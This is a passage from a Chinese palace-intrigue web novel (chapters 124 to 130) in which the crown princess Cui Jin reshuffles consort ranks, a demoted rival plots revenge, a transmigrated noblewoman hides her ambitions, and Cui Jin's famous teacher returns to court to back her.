反正也是个不能生的,侧妃之位给谁都没孙子,还不如便宜她娘家。 崔锦若有所思:“还有两个位置是?” “给叶氏一个如何?”萧临道,“她脑子蠢笨,胜在待你恭谨,给你做个帮手,日后打理起后院也方便些。” 脑子蠢笨,打理后院。 萧临就差明说叫她拿叶挽棠当枪使了。 崔锦唇角微抽一下,道:“挽棠待人真诚,给个侧妃之位也应该,但最后一个位子,殿下是想给梁溶月?” 萧临点点头。 梁祯近日来消沉不少,也受到了教训——他与生父没什么感情,即便萧临坑死了梁父,梁祯也不见得会为父报仇。 既然如此,他倒在犹豫要不要再继续用梁祯了。 毕竟这的确算个人才。 “我不想叫梁溶月做侧妃。”崔锦直白开口,“她那么害过我,我得有多大肚量才能容她站在我之下,享受风光?” 她转头看向萧临:“当然,我的想法并不重要,殿下若为大局考虑,权当我没说这话。” 她连装失意落寞都不装了,言辞间满是理所当然,丝毫不在意萧临会不会觉得她不识大体。 但正因她无所顾忌的态度,反而叫萧临更加顾忌了。 何必为这点事惹了她生气呢? “锦儿不喜欢,她便不配侧妃之位。”他抱着崔锦,语气竟有些讨好,“她害过你,赐一杯毒酒都是使得的。” 淮阴伯府不要就不要了。 直接毒死梁溶月也行。 “我有那么恶毒吗?”崔锦笑了,“给个奉仪之位,以后若她安分,我也不会再针对她。” 萧临立刻颔首:“锦儿心存善念,便便宜她一回,我会叫庆喜去同她说清楚,以后若再敢有分毫恶念,直接凌迟处死。” 崔锦随意点点头。 梁祯虽已归降,但不好这么快就弄死梁溶月,总要先吊着点。 且梁溶月到底是因算计谢长清才被她厌恶,她若执意针对梁溶月,日后萧临若有猜忌,想起这茬难免要心中存疑。 萧临收拾好了两人的衣裳,立刻就开窗叫庆喜去春熙院。 生怕晚上一点,就叫崔锦误会他舍不得重罚梁溶月。 庆喜点头:“奴才这就去!” 好久都没见梁侧妃了,不知她还活着没? 第一百二十五章 梁奉仪 春熙院。 梁溶月养了近两个月的伤,身上终于结痂,却使得如玉的肌肤更斑驳可怖了几分,一到夜里浑身麻痒,被折磨的几乎没睡过一个安稳觉。 又是一阵痒意袭来,刺激得她立刻从梦中清醒。 “咳咳咳——”她鼻间呛进了一股浓烟,咳嗽了好半天才堪堪忍住,不由冷冷看向屋中泛着浓烟的炭火盆,“这是打量我暂时失势,什么炭都敢往我这里送了?他们好大的狗胆!” 听雪忙给她扇了扇眼前的烟,低声劝慰:“后宅见风使舵是常态,侧妃您且忍忍……先前在侯府,咱们不也是这样过来的么。” 梁溶月眼中泛着不甘。 在侯府时,母亲无用,护不住她,叫那个贱妇春风得意,她幼时几乎都是这样过来的,冬日少炭,夏日缺冰,那时她习惯了忍耐,可前世在夫家即便再受磋磨,生活上也是养尊处优,重生后没多久又进了信王府,春熙院更是依照她的喜好布置,锦衣玉食,奢靡铺张。 她已经很久没体会过被落井下石的滋味了。 由奢入俭难。 “侧妃,不如奴婢扶您下地走走吧。”听雪轻声道,“多走动走动,伤好的快些,身上也就不会那么痒了。” 眼下屋里还不算太冷,多披件衣裳就可以。 梁溶月脸色苍白地点了点头。 下地时,脚腕上的伤口还隐隐泛着疼意,叫她险些站立不稳。 “崔锦……”她声音极低,却含着彻骨的恨意。 她本计划美好的洞房夜,能叫萧临享受得终身难忘的春宵一刻……被毁了个彻底,还背上一身丑陋疼痛的伤疤,而崔锦却能安安稳稳坐着王妃,拿捏萧临…… 不就仗着肚子里那个野种么! 等她出去,第一件事就是将那个野种的血脉扣去谢长清头上,她要崔锦这个贱人这辈子都被钉在耻辱柱上,无论生前死后都能解脱! 她抓紧了听雪的手,忍住恨意道:“先想办法去找些祛疤的药膏,有大哥在外面,我不会一直被软禁的。” 只要出去,她就有办法再夺得萧临的注意。 届时洞房,这身丑陋的伤疤就不能存在,否则莫说萧临的心,恐怕连他的人都留不住。 听雪有些为难,他们被软禁的这段时间,春熙院被看管的极严,消息传不出去也传不进来,外头那群侍卫根本不与他们说一句多余的话。 而春熙院内,除了她们三个心腹还在,其余人都被赶走了。 眼见着冬日里的天越发冷,她们却还得自己洗衣裳做饭,听雨的手甚至都已经起了冻疮,偏生送来的炭火被克扣,所有都紧着侧妃屋里,她们晚上睡觉得盖三层被子才勉强能睡得着。 顿了顿,她还是点头应下:“奴婢想想办法。” 话音刚落,外头传来门响声。 梁溶月愣了一下,心中隐隐浮起期待。 这个时候,难道是崔锦那个贱人生了?或是难产血崩? 无论哪一种,都意味着她能解禁了——只要崔锦肚子里那个东西爬出来,就再也拿捏不了萧临,她就能顺利出去! 不过片刻,门被敲响,庆喜踱步进来。 看到梁溶月已经能下地了,他眼底闪过遗憾。 “庆喜公公?”梁溶月眼睛一亮,忙问,“是不是王爷解了我的禁足?” “是。” 梁溶月心下一喜。 “不过不是王爷,而是太子了。”庆喜眉头一挑,满眼自豪。 “太……太子?”梁溶月懵了懵,“王爷被立为太子了?” 她还没来得及为萧临献计,没有她的未卜先知,萧临怎会如此轻易就被立为储君,晋王……有那么弱吗? 大局已定,她的先知还有用武之地吗? 若仅靠美色,她怎能在萧临心中占据一席之地,更遑论夺得他的心? 她脑中飞速转动着,思量着出去后该如何应对。 “是啊。”庆喜笑眯眯的,“一个月前,太子妃平安产下祥瑞三胎,天降异象同庆,皇上可欢喜得很呢,在三位小主子满月时,降下圣旨,立了储君。” 他句句往梁溶月的心口捅。 崔锦不止没死,还剩下了祥瑞三胎,更旺得萧临成了太子。 梁溶月苍白的脸色更失了三分血色:“怎会……怎会……” 前世崔锦根本就没生孩子,怎会今生被崔儒月和沈之珩算计得嫁给萧临,就能连生三胎?如此好命! 但、但无妨。 最起码……她还是太子侧妃,地位不可同日而语。 等她出去,自有法子叫崔锦那个贱人求生不得,求死不能! “恭喜太子殿下,恭喜侧妃!”比起梁溶月的算计,听雪就只有满脸喜色了。 可不等梁溶月脸上露出笑意,就听庆喜开口:“侧妃?听雪姑娘可莫要胡言乱语。” 他笑眯眯看向脸色微变的梁溶月,说道:“咱们太子府的侧妃姓叶,就是从前的叶夫人,其余两位侧妃将在一月后入府。” 听雪一愣:“那、那我们侧妃……” “太子殿下有令。”庆喜正色开口,“罪妇梁氏,戕害王妃,罪无可恕,本该赐毒酒一杯,但太子妃心善,只将您降为奉仪,望梁奉仪此后恭谨侍上,若再敢有半分算计太子妃之意,凌迟处死!” 梁溶月脸色惨白,腿脚麻痒酸软之下,竟瘫倒在地。 “怎会,他怎敢如此对我?”她不可置信,“我父兄尚在朝中,位高权重,他怎敢降我为奉仪?!” 甚至连个良娣的位份都吝啬于给?! 庆喜又笑了起来:“在您被禁足后不久,淮阴侯就被查出贪污受贿,数额巨大,当庭被下狱砍头,您兄长袭爵成了淮阴伯,方才他正好来府,得知您被封为奉仪,心中只有欢喜的呢!” 梁祯放弃了梁溶月。 甚至是以她的命为投名状,向萧临示好。 除了崔锦,就连萧临都以为他是因为正统已定,放弃梁溶月表忠心来了。 梁祯也的确想要从龙之功,但他想要的不是萧临这一个已经没多少争议和悬念的主君。 他提前压了长安,想做三朝元老。 第一百二十六章 穿书女 梁溶月被放出来时,新人也正好入府。 ——除了两位侧妃,还有良娣两人,奉仪两人。 崔锦坐在上首,将所有人的神色收入眼中,抿茶不语。 原先后院中的人中,叶挽棠现在位份最高,已是侧妃,剩下的朱雪盈、孟黎和苏玉晋为良娣,秦娇心与安氏三人晋为奉仪。 “妾给太子妃请安,恭请娘娘金安。”一个窈窕女子上前奉茶,娇声细语,眉眼含羞。 她身边还站着三人,崔锦一一喝过她们敬的茶,照例训诫了一番才叫他们落座。 “咱们后院可算是热闹起来了。”叶挽棠在正院十分松弛,笑嘻嘻与崔锦说着,“以前跟一潭死水似的,还总有碍眼的人,如今可来了几位漂亮妹妹了。” 她就喜欢好看的人。 新来的韩氏娇笑回道:“侧妃若喜欢活泼些的妹妹,那妾日后可要叨扰侧妃了。” “尽管来。”叶挽棠大手一挥,瞥了眼对面的梁溶月一眼,意有所指,“只要心思正,不整日想着害这个害那个,我都欢迎。” “这人呐,就是不能存坏心眼。”她端起茶盏,挑眉开口,“否则自食恶果,一手好牌能打得稀烂,连太子殿下都嫌恶得恨不能此生不见,多惨呐,你说是吧梁奉仪?” 梁溶月指甲深深掐进掌心,脸色惨白。 “侧妃说的极是!”孟黎头一个赞同,“咱们太子妃这般善心宽厚的人,竟也有那不安好心的想去谋害,怕是从根上就坏了,平白搅乱了咱们后院的风水,晦气!” 她骂得毫不留情,极力向崔锦表忠心。 在萧临那日在花园说谁做继妃他害谁后,孟黎就歇了上位的心思。 先不提他脑子有没有病,孟黎自认自己是有野心,但也不傻。 她的家世容貌放在外面够看,在太子府却实在不出挑,空有心机不得宠爱也无用,倒不如躺平过日子——没见叶挽棠抱大腿都抱成侧妃了? 太子侧妃,等入后宫后最低也是个妃位了。 这简直是躺着赚,可比讨好太子那个脑子有病的狗男人强多了! 她落井下石落的肆无忌惮,但新来的四人却面面相觑,都没敢接话。 梁溶月因为暗害太子妃而被贬为奉仪一事已经传去了外头,她们未进府前就知道了。 只是没想到……梁溶月似乎很不得人心? 若有若无的目光落在了梁溶月的身上。 梁溶月指缝间已隐隐有了血意,苍白的脸上连强颜欢笑都装不出来。 奉仪……奉仪! 被叶挽棠这个她往日正眼都没看过的女人踩在脚下,与安氏那几个通房平起平坐……崔锦这个贱人竟敢如此羞辱于她! 她本不想来正院受辱,可已经被解了禁足,她的伤也能下地走动了,若不来,崔锦有的是法子羞辱磋磨她,而萧临……他不会责罚崔锦的,祥瑞三胎不死,崔锦的地位就牢不可动。 现在她最该做的是蛰伏。 想办法联络上梁祯,借他之力重获萧临青眼,奉仪又如何?只要她还活着,就有机会一步步爬到最高! “好了。”崔锦开口,“时候不早,本宫还要进宫请安,你们都回吧。” 众人忙起身,屈膝告退。 人人恭敬,便如梁溶月和苏玉这种有心思的都没有丝毫挑衅,十足规矩。 叶挽棠如今是侧妃,有资格一起进宫拜见,便跟着崔锦一起上了马车。 “多谢太子妃!”她抓着崔锦的手兴冲冲地道谢,“若非您,妾身不会有这么高的位份!太子侧妃啊……我做梦都不敢这么梦。” 她还是有点自知之明的。 脑子简单不懂后宅争斗,还在萧临来她院中时爱理不理,能爬上太子侧妃之位,全凭大腿抱得好。 崔锦失笑:“别多想,你配得。” 叶挽棠也忍不住笑了,她掀起帘子瞥了外头一眼,这才悄声在崔锦耳边开口:“妾身父亲昨日传信来,叫妾身转告太子妃,叶家唯以您马首是瞻。” 又一个站队的。 崔锦眉梢微挑,却很快点头应了。 叶父是个聪明人,当初压根儿就没想过将叶挽棠这个脑子简单的女儿送来萧临后院,只是因他颇有实权,而叶挽棠又与林昭有几分像,才被淑贵妃点中了而已。 幸而这个女儿也算傻人有傻福,搭上了崔锦,如今还被晋为侧妃。 是人就有进取心。 叶父看到了希望,自然不肯轻易放过,即便眼下崔家没了实权,但仅凭崔锦和她膝下的三个祥瑞孩子,就足够赌一把了。 至少,在叶挽棠有孕生子前,叶父会对崔锦无比忠心。 崔锦眉眼间满是笑意地与叶挽棠说着话。 只要上了她的船,生是她的人,死是她的鬼,就算做鬼,都得像崔父一样为她铺路! 很快就到了钟粹宫。 如今淑贵妃一见崔锦就喜笑颜开:“快别多礼,来坐,外头冷吧?孩子们如何?” 崔锦含笑落座,一一回话。 淑贵妃听完,笑拍了拍她的手:“你很尽心,虽说有下人照顾,但自己盯着到底更放心些。” “姑母说的正是。”淑贵妃身旁一个绿衣宫装的女子盈盈笑道,“做母亲的,必是时时仔细着,假手于人都不放心的。” 这是冯书仪。 人如其名,通身一股书卷气,娴静温雅。 崔锦含笑看向她:“往日只听表妹之名,却无缘得见,今日一见,瞧这通身的温雅气韵,竟得了母妃三分真传,我瞧着都欢喜。” 淑贵妃被她逗得掩唇轻笑:“你这张嘴啊!” “表嫂谬赞了,臣女哪及姑母雍容华贵。”冯书仪脸颊微红,再次不着痕迹地看了眼崔锦。 这就是女主么?果然出口就知段位不俗。 人间绝色,手段诡谲,玩男主跟玩狗似的,最后还心甘情愿为她挡剑而亡,临死前都在为她铺路。 此后垂帘听政期间,朝野内外更是只知太后,不知幼帝。 重生大女主的人生……可真爽啊。 冯书仪垂下眸,敛去眼底的热意。 穿书一回,即是上苍眷顾,这本书的天命之女现在成了她,何不放手拼一把? 大女主,谁都做得。 第一百二十七章 偶遇陆知意 聊了会儿,崔锦抬起手,如春适时递上一幅画卷。 “这是……”淑贵妃面露疑惑。 崔锦含笑开口:“知道父皇和母妃都惦记着三个孩子,却因顾念他们年幼不好召见,妾身便画了幅画,拿来给父皇与您一观。” 淑贵妃面露惊喜:“快展开给本宫瞧瞧。” 崔锦徐徐展开画卷,渐渐露出上面玉雪可爱的三个孩子。 “这是平安吧?”淑贵妃一眼就认出来左边的孩子,喜笑颜开,“这孩子长得像你,可真漂亮,长大必是个美男子!” 她又看向中间的长安,眼神更加柔和:“小姑娘虽瘦小了些,却是个古灵精怪的模样,讨人喜欢得紧。” “瞧着倒有些像姑母您呢。”冯书仪适时插话。 淑贵妃一愣,细瞧了瞧:“这……好像眉眼间是与本宫有些相似。” “是十分相似。”冯书仪肯定道,“祖母的院中曾有姑母您幼时的画像,与长安简直是一个模子刻出来的一般,臣女绝未看错!” 自一岁多起就与淑贵妃越长越像的小公主,简直受尽淑贵妃偏爱,再加上本身就讨喜贴心的性子,最后甚至挤得九皇子都靠边站。 男主驾崩后,已是太后的淑贵妃能全力帮女主稳住朝局后宫,而非起了叫九皇子兄终弟及的念头,这位小公主的耳边风功不可没。 女主的肚子,半点都不养闲孩。 冯书仪暗暗扫过长安和成安,眼眸微热。 淑贵妃被她一提醒后,简直越看长安越喜欢,笑得嘴都合不拢了,满眼慈爱。 这可是出生即异象的祥瑞,珍贵自不必说,竟像极了她这个祖母,谁说不是上苍厚爱呢? 对着长安夸了又夸后,她目光才落在了右边咧嘴笑得有点傻的成安身上。 长得也像个人。 “虽像老四,但可比老四精神讨喜。”淑贵妃硬是找角度夸起成安,“瞧这笑的多喜庆,身子骨也强壮,日后一定比他父王强得多,可不沾他半点晦气。” 崔锦掩唇失笑。 连冯书仪嘴角都不由抽了一下。 只有叶挽棠赞同的跟着点头:“可不是?太子哪能跟成安宝宝比啊。” 淑贵妃:“……” 她暗暗看了叶挽棠一眼。 侧妃是要跟出门交际应酬的,萧临脑子坏了么,挑个这么傻的? 崔锦在钟粹宫留了半日,才告退离开。 冯书仪主动开口:“臣女送表嫂与叶侧妃。” 崔锦客气颔首。 出了钟粹宫,叶挽棠有些警惕地看着冯书仪,生怕她要仗着淑贵妃给崔锦下马威。 “叶侧妃不必这般如临大敌。”冯书仪温声开口,“臣女只是遵从家族安排罢了,并无意与两位为敌,都说青梅竹马……但臣女与表哥已多年未见,也并无男女之情,日后只求安稳度日。” 她两眼真诚,笑看着两人:“也望叫太子妃心安。” 她从身后的婢女手中拿过一个锦盒打开,道:“这是臣女为三个孩子准备的礼物,有些简陋,望太子妃莫要嫌弃。” 里面是三件小衣裳,上等云锦制成,针脚细密却不及绣娘手艺,显然出自冯书仪之手。 叶挽棠眼神缓和下来,对她没了敌意。 崔锦笑容不变:“多谢冯姑娘,这衣裳很漂亮。” 冯书仪含笑目送她们走远。 身后的婢女见周围没人,不由低声在她耳边开口:“姑娘,老爷送您进东宫,可是抱着极大期望的,您怎得……不争了?” “有什么好争?”冯书仪反问,“人生短短几十载,我躺着享受不好么,非要争来争去?若波及平安他们,岂非造孽?” 婢女欲言又止,还是没再说什么。 冯书仪垂眸,敛下眼底的情绪。 男主那个烂黄瓜有什么好争?争过来也生不出孩子,她还嫌脏呢。 她要的,是智多近妖的幼帝、未来的大将军王,以及博览群书的女诸葛。 但她半路穿来,并不敢信身边的任何人,这些算计……等确认这些人能信任后才能交付。 …… 马车里,叶挽棠打量着那几件精致漂亮的小衣裳,说道:“这样式从未见过,但的确好看得紧,回去叫太医检查检查,若没有异常,可以给平安他们穿上,一定好看极了!” 崔锦轻瞥她一眼,笑道:“我还以为你全然拿她当自己人了。” “怎么可能?”叶挽棠立刻道,“我又不蠢,知人知面不知心的道理还不明白么?” 她还想说什么,忽地一看锦盒:“诶,这底下还藏着几张纸呢。” 她打开一瞧,眼睛亮了:“都是小孩子的衣裳样式,新颖又漂亮,回去就送去给绣房,叫她们照这个来做衣裳!” 崔锦接过瞧了瞧,上面尽是适合孩子的小衣裳样式,与时下盛行的全然不同,却更能透出可爱来。 “这位冯姑娘倒真是玲珑心思。”她低低说了一句。 叶挽棠赞同点头。 只要以后冯书仪进门不起歪心思,她就罩着她,日日让她给平安画小衣裳! “臣女恭请太子妃金安。”马车外忽地传来一道清丽的女声。 崔锦掀起帘子。 马车此时正经过回音楼后街,人烟稀少,一个容颜清丽的红衣姑娘正站在路旁,向她盈盈行礼,身后数十侍卫婢女,排场极大。 崔锦眼眸微动:“陆姑娘不必多礼。” 陆知意眸中闪过意外:“太子妃认得臣女?” “陆姑娘容貌不凡,喜穿红衣,本宫有所耳闻。”崔锦声音含笑。 京城的贵女她大多有印象,貌美而衣着不凡,还有如此大排场的,猜也能猜到了。 今日她出个门,倒将未来的两位侧妃都见全了。 陆知意莞尔一笑:“未想臣女之名竟已传入太子妃耳中,莫不是听太子殿下提起的?” “你怎么说话的?”叶挽棠皱眉开口,“你一介臣女,岂敢质问太子妃,探寻太子殿下的言行?” 陆知意一愣,继而便笑了:“我现在是臣女,一月后便与你一样,是太子府的人,有何问不得夫君的言行?太子妃您说是吗?” 她看向崔锦,眉眼张扬而有失恭敬:“臣女还未进府,难道就招了您的眼,要被您手下人针对了?若如此,臣女可不依。” 第一百二十八章 这次,可能真要麻烦老师了 崔锦笑容不变:“太子殿下爱民如子,本宫与他夫妻同心,陆姑娘作为子民之一,本宫自会包容你的过失。” 陆知意微微皱眉。 这不是明目张胆骂她是妾? 崔锦也不像传闻中那般宽厚仁和,怕是下面人曲意逢迎吧。 太子喜欢的可不是这种虚伪的女子,而是如林昭那般张扬肆意的——当然,林昭那种厚颜无耻的蛇蝎女不得善终,但她陆知意却表里如一,必能与太子琴瑟和鸣! 看着崔锦,她不屑一笑。 正要说什么,崔锦却已放下帘子:“本宫还有杂事处理,陆姑娘自便。” 话落,马车便驶离了。 陆知意脸色有些不太好看。 回了正院,叶挽棠才终于忍不住,低道:“还没进门就敢如此嚣张,等进门后怕是要踩在您头上了!太子妃,您得压下去她的气焰才行啊!” 她身后,婢女急得直戳她后背。 这种话太子妃的人说无碍,可被叶挽棠提起,倒像是挑拨离间,撺掇太子妃了! 侧妃是书还没抄够么?! 崔锦失笑:“她那般言行,怕是在北境就嚣张惯了的,也难怪,封疆大吏唯一的嫡女,自是尊贵。” “再尊贵还能比得您尊贵?”叶挽棠气道,“我看她是分不清谁尊谁卑了。” 崔锦笑了笑,没再说话。 如今在外头看来,她已无母家依靠——忠勇侯府可称一句功臣之后,荣华颜面不缺,却并无实权,而谢氏……谢长清自遇刺后,就顺理成章回了清河养伤,本该另派来京城的人选也在家族内斗中未定,在旁人看来,谢氏对她的支持便不过如此。 陆知意那般家世,身后还有北境二十万大军,腰杆子硬得很,自然不会将她放在眼里。 崔锦垂下眸,若有所思起来。 适当的弱势是能降低人的戒备,可若一直弱势,尤其还在有陆知意这般强势家世的衬托下,只怕渐渐留给外界的印象便是太子妃势弱,仅靠三胎祥瑞勉力维持宠爱了。 这可不行。 但卫期和梁祯所处的位置与能做的事都很关键,她不想放到明面上来。 叶挽棠走后,她犹豫了许久,终于从手边暗格中拿出了一封信,她再次细细看了一遍,目光落在信底落款的“周”上。 “这次,可能真要麻烦老师了。”她低低道。 如春顿时笑了:“知道您终于想开,周大儒不知该有多高兴呢……他老早就想进京来帮您了,还不是您一直拒绝?” “那时我处境不明,内宅不稳,外头又有晋王虎视眈眈,哪能叫他蹚这趟浑水?”崔锦叹口气。 好在现在局势明朗,她也有足够的能力回馈老师,师徒相辅相成。 想明白后,她也不再犹豫,立刻提笔写信。 周大儒现居柳州,正在崔锦舅舅治下,日子过得安逸却无聊,闲的日日去谢府骚扰谢朗。 “您怎么又来了?”书房里,谢朗有些无奈,“我才处理完公务,连口气都没来得及喘,您倒闻着味儿就来了。” “你是老夫手把手教出来的,老夫还能不知道你?”周大儒嗤笑。 算算柳州政事,就知道这小子用多长时间能完事了。 谢朗只有叹气的份儿:“您若实在闲的慌,不如去县下找找好苗子,继续收徒授课吧。” 整日里占着他的时间不放,若非他们夫妻感情好,彼此信任,夫人非得怀疑他有了外室不可。 “老夫年纪大了,哪儿还受得住小娃娃闹腾?”周大儒摆摆手,“你外甥女就是老夫的收山之作了!” 说起崔锦,谢朗不由敛了神色,目光凝重:“也不知锦儿如何了,太子册立自然是好,可随之而来的便是麻烦,偏偏崔远山那个不中用的东西又死了,对锦儿更没了支持,就连长清也……” 他并不知谢长清为何会突然回清河,但只看清河那边来信中的隐晦之言就猜到不简单。 谢长清不能入仕,谢氏便断了一臂,多年的栽培付诸东流,而崔锦那边也更没了助力。 谢朗看着还优哉游哉的周大儒,不由道:“反正您闲着没事,不如去京城帮帮锦儿吧?圣上早就盼着您再回朝了。” “呵。” 周大儒冷笑一声:“老夫先前连去三封信,她都给驳了回来,还想叫老夫再厚着脸皮去帮她?除非她亲自来请!” 谢朗有些头疼:“她担心您还来不及,怎会主动请你进京?” 周大儒目光有些意味深长。 正当晚膳时,下面忽然来人送了信进来,恭敬递给周大儒:“京城的信。” 周大儒微微扬眉,将信扔给谢朗:“这不就求老夫来了?” 谢朗疑惑地打开信,脸色渐渐凝重起来:“太子侧妃挑了冯家姑娘与北境陆家的姑娘……冯家倒也罢了,可陆家却是个劲敌。” 有兵权,底气都比旁人要更足几分。 他忙道:“锦儿处境艰难,您……” “这你也信?”周大儒鄙夷地看了他一眼,“那臭丫头脑子比你机灵,在太子府经营了两年,怎会就止步后宅?多半是暗地里的势力拿不出手,求老夫充门面来了!” 谢朗细想之下,也稍微放了些心。 他看着周大儒,心念一动:“您久未回京,可不能因为她一封信就回去……需得风风光光回京才是。” 周大儒曾官拜二品翰林掌院,位极人臣,却因当年局势复杂,被激烈的党争波及,这才急流勇退,致仕后又先后教出一代又一代学生,可称桃李满天下。 但当年被迫致仕一直是他的心结。 在教出崔锦成人后,他就有再回朝堂的想法。 恰好崔锦如今站得够高,他这个老师也能沾一回光了。 周大儒眉眼间渐渐浮起笑意:“臭丫头再不孝也是老夫的收山弟子,断没有叫旁人欺负的道理,既想老夫充场面……那就叫满京都瞧瞧看!” 陆家二十万兵权又如何,那是他家的吗?他敢造反吗? 他周不折桃李满天下,连帝王都礼待再三,还能拼不过一个代管兵权的? 第一百二十九章 周大儒入京 十二月,寒冬凛冽之际。 闹市人来人往,即使大雪纷飞也止不住即将过年的喜气,街上满是喧嚣热闹,吆喝叫卖声不绝。 正在此时,一辆四骏马车渐渐驶入京城,马车两侧随从无数,个个一脸严肃,显然训练有素,竟还有一队银枪铠甲的禁卫军护卫着先后开道,那凛冽长枪使得路边被隔开的百姓们下意识噤声。 看着这一幕,后方有人不禁悄悄开口:“这是哪位皇族吗,竟这样大的阵仗?” “你是才来京城吧?”一位老伯笑了笑,“便是太子殿下出行都没有这样的排场呢。” “那这位岂非比太子殿下身份还要尊贵?” “是,也不是。”老伯神秘一笑,“里头这位,是帝师。” 那人倒吸一口冷气。 这天底下当得帝师之称的,也不过就那么一位罢了。 “是、是周大儒?”他有些激动地问。 周大儒之名,大周无人不知,其年少成名,十五便高中状元,被授职翰林,此后被先帝看中,随侍身侧,不过十五年就从起居郎高升为二品翰林掌院,还与如今的永隆帝有过师徒之名,永隆帝更是曾当众感念其对自己的传道授业之恩。 此后周大儒致仕,又广受学徒,桃李满天下,经他之手教出的徒弟,无一不是万里挑一之才,最没出息的如今也成了地方四品官,实权在握。 读书人都以他为恩师和榜样,奉为儒首,百姓们久闻其才名与师名,都梦想能叫自己的孩子入他门下,一步登天,便是武将和兵士们,也都因其帝师的身份,提起便是敬重。 所以老伯的话音刚落,四周百姓们的眼神就变了,甚至不敢直视马车,微微低头以示敬重。 “不过周大儒已经致仕,怎么这时候回了京城?” “你没听说吗?皇上曾三请周大儒再度入朝,却都被周大儒婉拒,这回似乎是因祥瑞现世,触动了周大儒,这才应下皇上入朝之请。” “太子的祥瑞三胎?对了,太子妃不就是周大儒的关门弟子吗?再加上祥瑞,恐怕这才打动了周大儒吧。” “谁说不是呢?” 众人窃窃私语,话里却都满是敬重,声音还异常低,像是生怕惊扰了马车里的帝师。 马车很快驶过,渐渐到了皇宫。 此时正值下朝之际,文臣武将满宫走,看到前方来人时,不由都愣在原地。 “周大儒?您这么快就到京了?”齐学士激动开口,立刻准备迎上前。 “皇上驾到——” 众人闻言,忙俯身行礼:“臣等参见皇上——” 周大儒刚弯下腰,就被一双手稳稳扶起,抬头就对上了永隆帝那张老脸。 “老师可叫朕好等啊。”永隆帝声音含笑,一语双关。 周大儒也笑了:“如皇上这般当世明君,良臣贤将不缺,竟记老夫多年,此乃老夫前世修来之幸,怎敢不入朝效力?” 一开口,永隆帝就知道人还是那个人,半点没变。 拍马屁能拍得自己和对方都高兴,还不觉半分虚伪的,也只一个周大儒了。 两人寒暄片刻,齐学士终于上前激动道:“多年未见,周大儒风采依旧啊!未想下官竟还有与您再见之日!” 这是什么晦气话? 周大儒有些嫌弃,但面上却笑容极深:“我本有意归隐山林,却骤闻祥瑞现世,便知上苍降福,恩泽明君,实在忍不住便来京了。” 永隆帝哑然失笑,忽地想起什么:“说来,太子妃也是老师的弟子。” 周大儒点点头,语气揶揄:“如此算来,她该称皇上一句师兄才是。” 永隆帝朗笑起来。 后方,萧临的笑容却僵在嘴角。 这是什么破辈分? 永隆帝有意留周大儒入乾清宫深聊,周大儒点头应了,又道:“老臣陪皇上用过午膳,叙叙旧,便先去瞧瞧小徒儿吧,她素来要强,老臣不在的这几年,也不知受过多少委屈,好不容易进京,总要亲眼看过才放心。” 闻言,旁听的百官面面相觑,各自交换着眼神。 大家都知道太子妃是周大儒的弟子,但周大儒弟子众多,料想太子妃一介女流,应也只是被谢氏送去沾个光,叫名声好听些,因此文官们虽因周大儒对她有些好感,但也仅止于此了。 可如今看周大儒这般态度,竟是毫不掩饰的偏心太子妃。 若等他入朝……太子妃的靠山恐怕是后宅里最强最硬的一个了。 有不少聪明人立刻反应过来,准备回府就叮嘱自家夫人和姑娘,在与太子府交际时,千万别因为陆侧妃那二十万大军就疏忽了恭敬太子妃。 二十万大军只是震慑,且在北境,就算真想反也反不到京城来,可周大儒却是实实在在准备扎根京城了啊。 周大儒余光扫过他们各异的面色,心下满意了许多。 他毫不掩饰自己对崔锦的偏心和看重,为的就是这个。 可千万别有不长眼的犯在他手上! 永隆帝见状,也没说什么,周大儒的性子他了解,不过是给太子妃撑腰罢了,如今崔家势弱,是该帮衬着些,可不能叫他祥瑞孙儿的亲娘受了委屈。 他含笑带着周大儒往乾清宫走去,还叫了萧临一起,打趣道:“这可是朕最出色的儿子,配老师的小徒儿可行?” “可行,可行。”周大儒笑眯眯点头,“皇上的龙子,怕是只有仙子才可配,偶落凡尘,倒是被老臣这小徒儿得了滔天气运,配了他。” 他说得夸张,永隆帝也被逗得直笑。 萧临含笑跟在他们身后,偶尔搭两句话。 崔锦……给他的惊喜真是太多了。 周大儒对她如此看重疼爱,她竟从未提起过,若换做旁人,只怕早就在他面前邀功,或是请周大儒为她帮忙了。 她便是如此低调谦逊的女子。 萧临眼眸复杂,既又欣赏,又含庆幸。 周大儒入京的第二日,正是两位侧妃入太子府之时。 第一百三十章 你穿红衣,叫太子妃如何自处? 太子侧妃与亲王侧妃的规制自是不同的,场面也更大。 崔锦不必亲自应酬,但少不得要盯着些,竟也忙了一日,等到了晚间,除了她,所有人都在关注萧临先去哪位侧妃的院子。 沁芳院。 陆知意一袭水红嫁衣,盖着红盖头坐在床边,看似岁月静好,可袖中的双手却早已紧紧攥起,盖头下妆容精致而貌美的脸也阴沉极了。 她风光入京,嫁的还是东宫,本该荣耀更甚,他们的人也早已在外造势,叫她的风头直接盖过了崔锦这个太子妃,甚至压过了祥瑞。 正二品封疆大吏唯一的嫡女,身后二十万大军,还即将嫁入东宫,这足以叫无数人对她恭敬有加,羡慕嫉妒,哪有她崔家那个破落户立足之地? 被数位京城命妇贵女追捧的那几日,也是她人生中最风光得意之时。 这昭示着等嫁入东宫后,她陆知意便能渐渐盖过崔锦,成为有实无名的太子妃,甚至以后……也未尝不能扶正。 崔锦除了那三个祥瑞,还能拿什么与她比? 可万万没想到……周大儒进京了! 街头巷尾热议的太子侧妃顷刻间就被周大儒所取代,甚至因为昨日周大儒力挺崔锦的那番话,直接叫崔锦成了满京无二的风光。 她陆知意此前的交际应酬,甚至隐隐以东宫女主人自居的态度瞬间便成了笑话。 今日本该是她风光大嫁之时,父亲也早与淑贵妃商议好,给她些独一无二的体面,可因为周大儒,她的所有例外全被削减,成了一个平平无奇、没有多少人关注的侧妃。 早就说好要来给她捧场的宾客也一夜之间转了态度,模棱两可起来,致使她的出阁日冷清至此。 ……不知有多少人在看她笑话。 见她周身气势愈发阴沉,婢女翠环不由低声劝道:“侧妃,今夜太子殿下必定来您这里,千万收着些性子……这可不是能容您作威作福的北境,一定要哄好太子殿下,再谋后事啊。” 陆知意沉声应了。 太子钟爱的模样,她陆知意都有,还能拿捏不了一个太子? 等今夜得了宠,她一定要给崔锦那个胆敢夺她风头的贱人好看! “参见太子殿下。”外头传来行礼声。 陆知意瞬间扬起笑容,等盖头缓缓被揭开时,她微微抬眸,灿然一笑:“太子殿下长得可真好看。” 她对萧临的外貌极为满意,脸颊不由浮起些羞红。 萧临含笑开口:“今日忙乱,你若饿了,便先去吃些东西吧。” 